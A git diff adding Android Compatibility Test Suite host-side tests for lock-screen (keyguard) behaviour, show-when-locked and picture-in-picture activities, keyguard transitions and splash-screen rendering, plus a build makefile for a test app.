diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
new file mode 100644
index 0000000..3c1a626
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardLockedTests
+ */
+public class KeyguardLockedTests extends KeyguardTestBase {
+
+    private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
+    private static final String PIP_ACTIVITY = "PipActivity";
+    private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
+            "android.server.cts.PipActivity.enter_pip";
+    private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        setLockCredential();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        removeLockCredential();
+        // Dismiss active keyguard after credential is cleared, so
+        // keyguard doesn't ask for the stale credential.
+        pressBackButton();
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+    }
+
+    public void testLockAndUnlock() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        unlockDeviceWithCredential();
+        mAmWmState.waitForKeyguardGone(mDevice);
+        assertKeyguardGone();
+    }
+
+    public void testDismissKeyguard() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        launchActivity("DismissKeyguardActivity");
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone(mDevice);
+        assertKeyguardGone();
+        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+    }
+
+    public void testDismissKeyguard_whileOccluded() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        launchActivity("DismissKeyguardActivity");
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone(mDevice);
+        assertKeyguardGone();
+        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
+    }
+
+    public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
+        enterAndConfirmLockCredential();
+
+        // Make sure we stay on Keyguard.
+        assertShowingAndOccluded();
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+    }
+
+    public void testDismissKeyguardActivity_method() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardMethodActivity");
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone(mDevice);
+        mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
+        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+    }
+
+    public void testDismissKeyguardActivity_method_cancelled() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardMethodActivity");
+        pressBackButton();
+        assertOnDismissCancelledInLogcat(logSeparator);
+        mAmWmState.computeState(mDevice, new String[] {});
+        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", false);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        unlockDeviceWithCredential();
+    }
+
+    public void testEnterPipOverKeyguard() throws Exception {
+        if (!isHandheld() || !supportsPip()) {
+            return;
+        }
+
+        // Go to the keyguard
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+
+        // Enter PiP on an activity on top of the keyguard, and ensure that it prompts the user for
+        // their credentials and does not enter picture-in-picture yet
+        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
+        assertShowingAndOccluded();
+        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
+
+        // Enter the credentials and ensure that the activity actually entered picture-in-picture
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone(mDevice);
+        assertKeyguardGone();
+        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+    }
+
+    public void testShowWhenLockedActivityAndPipActivity() throws Exception {
+        if (!isHandheld() || !supportsPip()) {
+            return;
+        }
+
+        launchActivity(PIP_ACTIVITY);
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
+        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
+        assertShowingAndOccluded();
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+    }
+
+    public void testShowWhenLockedPipActivity() throws Exception {
+        if (!isHandheld() || !supportsPip()) {
+            return;
+        }
+
+        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
+        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
new file mode 100644
index 0000000..d578644
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.server.cts.StateLogger.log;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class KeyguardTestBase extends ActivityManagerTestBase {
+
+    protected void assertShowingAndOccluded() {
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
+    }
+
+    protected void assertShowingAndNotOccluded() {
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
+    }
+
+    protected void assertKeyguardGone() {
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+    }
+
+    protected void assertOnDismissSucceededInLogcat(String logSeparator) throws Exception {
+        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissSucceeded", logSeparator);
+    }
+
+    protected void assertOnDismissCancelledInLogcat(String logSeparator) throws Exception {
+        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissCancelled", logSeparator);
+    }
+
+    protected void assertOnDismissErrorInLogcat(String logSeparator) throws Exception {
+        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissError", logSeparator);
+    }
+
+    private void assertInLogcat(String activityName, String entry, String logSeparator)
+            throws Exception {
+        final Pattern pattern = Pattern.compile("(.+)" + entry);
+        int tries = 0;
+        while (tries < 5) {
+            final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+            log("Looking at logcat");
+            for (int i = lines.length - 1; i >= 0; i--) {
+                final String line = lines[i].trim();
+                log(line);
+                Matcher matcher = pattern.matcher(line);
+                if (matcher.matches()) {
+                    return;
+                }
+            }
+            tries++;
+            Thread.sleep(500);
+        }
+        fail("Not in logcat: " + entry);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
new file mode 100644
index 0000000..89bbb07
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
@@ -0,0 +1,313 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.server.cts.WindowManagerState.WindowState;
+import android.server.cts.ActivityManagerState.ActivityStack;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTests
+ */
+public class KeyguardTests extends KeyguardTestBase {
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // Set screen lock (swipe)
+        mDevice.executeShellCommand("locksettings set-disabled false");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        // Remove screen lock
+        mDevice.executeShellCommand("locksettings set-disabled true");
+    }
+
+    public void testKeyguardHidesActivity() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("TestActivity");
+        mAmWmState.computeState(mDevice, new String[] { "TestActivity"});
+        mAmWmState.assertVisibility("TestActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        assertShowingAndNotOccluded();
+        mAmWmState.assertVisibility("TestActivity", false);
+        unlockDevice();
+    }
+
+    public void testShowWhenLockedActivity() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"});
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        assertShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Tests whether dialogs from SHOW_WHEN_LOCKED activities are also visible if Keyguard is
+     * showing.
+     */
+    public void testShowWhenLockedActivity_withDialog() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedWithDialogActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity"});
+        mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
+        assertTrue(mAmWmState.getWmState().allWindowsVisible(
+                getWindowName("ShowWhenLockedWithDialogActivity")));
+        assertShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
+     */
+    public void testMultipleShowWhenLockedActivities() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedActivity");
+        launchActivity("ShowWhenLockedTranslucentActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity",
+                "ShowWhenLockedTranslucentActivity"});
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        assertShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
+     */
+    public void testTranslucentShowWhenLockedActivity() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedTranslucentActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedTranslucentActivity"});
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        assertWallpaperShowing();
+        assertShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
+     */
+    public void testTranslucentDoesntRevealBehind() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("TestActivity");
+        launchActivity("ShowWhenLockedTranslucentActivity");
+        mAmWmState.computeState(mDevice, new String[] { "TestActivity",
+                "ShowWhenLockedTranslucentActivity"});
+        mAmWmState.assertVisibility("TestActivity", true);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        mAmWmState.assertVisibility("TestActivity", false);
+        assertShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    public void testDialogShowWhenLockedActivity() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedDialogActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedDialogActivity"});
+        mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
+        assertWallpaperShowing();
+        assertShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Test that showWhenLocked activity is fullscreen when shown over keyguard
+     */
+    public void testShowWhenLockedActivityWhileSplit() throws Exception {
+        if (!isHandheld() || !supportsSplitScreenMultiWindow()) {
+            return;
+        }
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        launchActivityToSide(true, false, "ShowWhenLockedActivity");
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        assertShowingAndOccluded();
+        mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
+                ActivityManagerTestBase.DOCKED_STACK_ID);
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
+     */
+    public void testDismissKeyguardActivity() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardActivity");
+        mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
+        mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardActivity"});
+        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+        assertShowingAndOccluded();
+    }
+
+    public void testDismissKeyguardActivity_method() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardMethodActivity");
+        mAmWmState.waitForKeyguardGone(mDevice);
+        mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
+        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+    }
+
+    public void testDismissKeyguardActivity_method_notTop() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("BroadcastReceiverActivity");
+        launchActivity("TestActivity");
+        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguardMethod true");
+        assertOnDismissErrorInLogcat(logSeparator);
+    }
+
+    public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        sleepDevice();
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("TurnScreenOnDismissKeyguardActivity");
+        mAmWmState.waitForKeyguardGone(mDevice);
+        mAmWmState.computeState(mDevice, new String[] { "TurnScreenOnDismissKeyguardActivity"});
+        mAmWmState.assertVisibility("TurnScreenOnDismissKeyguardActivity", true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+    }
+
+    public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        launchActivity("ShowWhenLockedActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        assertShowingAndOccluded();
+        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
+        assertShowingAndOccluded();
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+    }
+
+    public void testKeyguardLock() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        launchActivity("KeyguardLockActivity");
+        mAmWmState.computeState(mDevice, new String[] { "KeyguardLockActivity" });
+        mAmWmState.assertVisibility("KeyguardLockActivity", true);
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+    }
+
+    public void testUnoccludeRotationChange() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        executeShellCommand(getAmStartCmd("ShowWhenLockedActivity"));
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        setDeviceRotation(1);
+        pressHomeButton();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        mAmWmState.waitForDisplayUnfrozen(mDevice);
+        mAmWmState.assertSanity();
+        mAmWmState.assertHomeActivityVisible(false);
+        assertShowingAndNotOccluded();
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", false);
+    }
+
+    private void assertWallpaperShowing() {
+        WindowState wallpaper =
+                mAmWmState.getWmState().findFirstWindowWithType(WindowState.TYPE_WALLPAPER);
+        assertNotNull(wallpaper);
+        assertTrue(wallpaper.isShown());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
new file mode 100644
index 0000000..05065aa
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY;
+import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
+import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
+import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTransitionTests
+ */
+public class KeyguardTransitionTests extends ActivityManagerTestBase {
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // Set screen lock (swipe)
+        mDevice.executeShellCommand("locksettings set-disabled false");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        // Remove screen lock
+        mDevice.executeShellCommand("locksettings set-disabled true");
+    }
+
+    public void testUnlock() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("TestActivity");
+        gotoKeyguard();
+        unlockDevice();
+        mAmWmState.computeState(mDevice, new String[] { "TestActivity"} );
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
+                mAmWmState.getWmState().getLastTransition());
+    }
+
+    public void testUnlockWallpaper() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("WallpaperActivity");
+        gotoKeyguard();
+        unlockDevice();
+        mAmWmState.computeState(mDevice, new String[] { "WallpaperActivity"} );
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
+                mAmWmState.getWmState().getLastTransition());
+    }
+
+    public void testOcclude() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        launchActivity("ShowWhenLockedActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"} );
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+                mAmWmState.getWmState().getLastTransition());
+    }
+
+    public void testUnocclude() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedActivity");
+        gotoKeyguard();
+        launchActivity("TestActivity");
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        mAmWmState.computeState(mDevice, null);
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
+                mAmWmState.getWmState().getLastTransition());
+    }
+
+    public void testNewActivityDuringOccluded() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedActivity");
+        gotoKeyguard();
+        launchActivity("ShowWhenLockedWithDialogActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity" });
+        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+                mAmWmState.getWmState().getLastTransition());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
new file mode 100644
index 0000000..4694d7a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import java.awt.Color;
+import java.awt.Rectangle;
+import java.awt.image.BufferedImage;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.SplashscreenTests
+ */
+public class SplashscreenTests extends ActivityManagerTestBase {
+
+    public void testSplashscreenContent() throws Exception {
+        launchActivityNoWait("SplashscreenActivity");
+        mAmWmState.waitForAppTransitionIdle(mDevice);
+        mAmWmState.getWmState().getStableBounds();
+        final BufferedImage image = takeScreenshot();
+        assertAllColor(image, mAmWmState.getWmState().getStableBounds(), Color.RED.getRGB());
+    }
+
+    private void assertAllColor(BufferedImage img, Rectangle bounds, int expectedColor) {
+        for (int x = bounds.x; x < bounds.x + bounds.width; x++) {
+            for (int y = bounds.y; y < bounds.y + bounds.height; y++) {
+                assertTrue(x < img.getWidth());
+                assertTrue(y < img.getHeight());
+                final int color = img.getRGB(x, y);
+                assertEquals("Colors must match at x=" + x + " y=" + y, expectedColor, color);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
new file mode 100644
index 0000000..e20bbb5
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDeviceTranslucentTestApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
